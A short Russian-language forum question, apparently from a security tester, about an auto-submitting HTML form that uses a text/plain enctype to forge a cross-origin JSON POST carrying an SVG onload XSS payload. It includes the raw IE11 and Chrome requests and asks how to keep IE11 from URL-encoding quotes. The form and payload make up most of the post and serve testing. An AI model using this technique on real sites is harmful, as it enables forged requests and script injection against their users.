IE11.2848 кодирует тело формы, даже если я использую enctype = "text / plain".
<body>
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit()</script>
</body>
Запрос IE составляет:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]
{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}
Запрос Chrome составляет:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]
{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}
Как избежать URL-кодировки для двойных кавычек для атрибута "name" в IE11?
Этот запрос должен быть отправлен из другого домена, поэтому application / json не является опцией, так как для него требуется предварительный запрос.